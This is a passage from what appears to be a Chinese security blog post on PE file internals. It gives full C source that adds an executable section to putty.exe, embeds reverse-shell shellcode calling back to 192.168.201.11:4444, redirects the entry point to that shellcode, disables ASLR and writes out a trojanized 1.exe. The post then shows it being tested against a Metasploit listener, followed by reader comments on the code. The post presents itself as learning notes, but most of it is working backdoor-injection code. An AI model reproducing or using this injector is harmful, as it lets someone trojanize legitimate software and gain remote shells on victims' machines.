int main(int argc, char* argv[]) {
    char* fileBuffer = readFile("C:\\Users\\XXX\\putty.exe");   // 读取PE文件
    char buf[] =
        "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
        "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
        "\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
        "\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
        "\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
        "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
        "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
        "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
        "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
        "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
        "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
        "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xc9\x0b\x68\x02"
        "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
        "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
        "\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
        "\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
        "\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
        "\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
        "\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3\x00\x00\x00\x00\x00\x00\x00"; // 末尾加个7个字节

    unsigned long shellcodeLength = sizeof(buf);
    fileBuffer = addSection(fileBuffer, shellcodeLength);
    injectShellcode(buf, shellcodeLength, fileBuffer);

    return 0;
}

char* readFile(const char* fileName) {
    // 打开文件
    FILE* pf = fopen(fileName, "rb");
    if (pf == NULL) {
        printf("文件打开失败!");
        return NULL;
    }

    // 获取文件大小
    unsigned int fileSize = 0;
    fseek(pf, 0, SEEK_END);
    fileSize = ftell(pf);
    fseek(pf, 0, SEEK_SET);

    // 分配内存并初始化
    char* fileBuffer = (char*)malloc(fileSize);
    if (fileBuffer == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    memset(fileBuffer, 0, fileSize);

    // 读文件
    fread(fileBuffer, fileSize, 1, pf);

    fclose(pf);
    return fileBuffer;
}

char* addSection(char* fileBuffer, unsigned long shellcodeLength) {
    // 解析PE文件
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);   // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    if (ppSectionHeader == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
            ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
        }
    }




    // 检查空间阶段
    // 判断是否有足够空间添加节区头
    char* start = (char*)(ppSectionHeader[pFileHeader->NumberOfSections - 1] + 1);
    char* end = fileBuffer + ppSectionHeader[0]->PointerToRawData;
    if (end - start >= 80) {
        printf("有足够的空间添加节区头,共:%d个字节\n", end - start);
    }

    // 判断需要被填充为新节区头的部分是否存在其他数据
    for (int i = 0; i < 40; ++i) {
        if (start[i] != '\x00') {
            printf("节区末尾空间不足,需要上移NT头!");
            return NULL;
        }
    }




    // 新增节区头并完善新节区头中的数据阶段
    // 新增节区头并设置其属性
    PIMAGE_SECTION_HEADER newPSectionHeader = (PIMAGE_SECTION_HEADER)start;
    PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];

    // 将上一个节区头拷贝下来
    memcpy(newPSectionHeader, lastPSectionHeader, IMAGE_SIZEOF_SECTION_HEADER);

    // 设置节区名
    memcpy(newPSectionHeader->Name, ".gcker", 7);

    // 设置节区数据实际长度
    newPSectionHeader->Misc.VirtualSize = shellcodeLength;

    // 设置节区在内存中的偏移量
    unsigned int size = 0;
    if (lastPSectionHeader->Misc.VirtualSize < lastPSectionHeader->SizeOfRawData) {
        size = (lastPSectionHeader->SizeOfRawData - 1) / pOptionalHeader->SectionAlignment + 1;
    }
    else {
        size = (lastPSectionHeader->Misc.VirtualSize - 1) / pOptionalHeader->SectionAlignment + 1;
    }
    newPSectionHeader->VirtualAddress = size * pOptionalHeader->SectionAlignment + lastPSectionHeader->VirtualAddress;

    // 计算在文件中对齐后的尺寸
    newPSectionHeader->SizeOfRawData = ((shellcodeLength - 1) / pOptionalHeader->FileAlignment + 1) * pOptionalHeader->FileAlignment;

    // 计算节区在文件中的偏移量
    newPSectionHeader->PointerToRawData = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;

    // 给节区添加执行权限
    newPSectionHeader->Characteristics |= 0x20000000;




    // 修改PE结构其他成员阶段
    // 设置节区头数量
    pFileHeader->NumberOfSections += 1;

    // 设置内存中整个PE文件尺寸,必须是SectionAlignment的整数倍
    pOptionalHeader->SizeOfImage = ((pOptionalHeader->SizeOfImage + shellcodeLength - 1) / pOptionalHeader->SectionAlignment + 1) * pOptionalHeader->SectionAlignment;




    // 新增节区数据
    // 新增节区数据,用于存放机器码指令
    unsigned int oldFileBufferSize = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
    fileBuffer = (char*)realloc(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData);
    memset(fileBuffer + oldFileBufferSize, 0, newPSectionHeader->SizeOfRawData);
    return fileBuffer;
}

void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer) {
    // 解析PE文件
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);   // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    if (ppSectionHeader == NULL) {
        printf("内存分配失败!");
        return;
    }
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
            ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
        }
    }
    PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];

    // 插入shellcode
    memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
    char newOpcode[] = "\xe8\x00\x00\x00\x00";
    memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength, newOpcode, sizeof(newOpcode));
    unsigned int newOpcodeLength = sizeof(newOpcode) - 1;

    // 添加call指令调用shellcode
    unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
    memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));

    // 修改OEP
    unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
    pOptionalHeader->AddressOfEntryPoint = newOEP;

    // 关闭随机基址
    pOptionalHeader->DllCharacteristics &= 0xffbf;

    // 写入文件
    FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    fwrite(fileBuffer, lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData, 1, pf);
    return;
}

测试

MSF监听

1-12.png

虚拟机执行生成的1.exe

1-13.png

起飞~

1-14.png

​ 其实这个实验还是有不够完美的地方,就是由于我们直接调用了shellcode,程序一直在执行shellcode的指令,所有putty本身的代码没有执行了,所有运行起来的时候是看不到putty界面出来的。同时因为上移NT头的情况应该比较少见,而且相对不难,我这里就没有写出来了。

0x0b 结尾

​ 这些是我自己近期对PE文件学习的记录,文章中涉及的代码我尽量使用C语言的风格来写,代码可能不是最优化的版本,无法适配所有环境(所以可能师傅们本地测试可能会报错hhh),仅供学习参考。文章中有不对的地方,还希望师傅们能多多指点一下😋~

评论

X

xiu 2022-04-27 13:08:32

tql

H

Huanghousec 2022-10-07 23:11:38

师傅,请教下,新增节表处, ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i) 这里为什么这么写

gcker 2022-10-12 00:15:52

@Huanghousec
指针变量加减法时的步长是根据指针类型的大小而定的,例如:
int* a = 0x00000000;
a++; // 在32位程序中,内存地址加了四个字节0x00000004,因为32位中int占4个字节
具体参考:https://blog.csdn.net/soonfly/article/details/51131141中的“指针的算术运输”
这里的ppSectionHeader[0] + i也是同理,首先ppSectionHeader[0]是第一个节区头的地址,而ppSectionHeader[0] + 1则是从第一个节区头开始,内存地址+sizeof(SectionHeader),也就是加了一个节区大小,最终效果就是内存地址到达了第二个节区的位置。这里的作用其实就是遍历每个节区头的地址,然后存到ppSectionHeader数组每一个元素当中,后面我就能通过ppSectionHeader加下标的方式找到任意一个节区头了。

H

Huanghousec 2022-10-28 00:23:05

理解了,谢谢师傅。师傅那块计算virtualaddress应该可以改进下,直接==sizeofimage就好了

这一块 newPSectionHeader->VirtualAddress = size * pOptionalHeader->SectionAlignment + lastPSectionHeader->VirtualAddress; \n

newPSectionHeader->VirtualAddress = pOptionalHeader->SizeOfImage。不用计算对齐页的大小

gcker

我真的很懒

twitter weibo github wechat

随机分类

XSS 文章:34 篇
数据安全 文章:29 篇
软件安全 文章:17 篇
Windows安全 文章:88 篇
iOS安全 文章:36 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录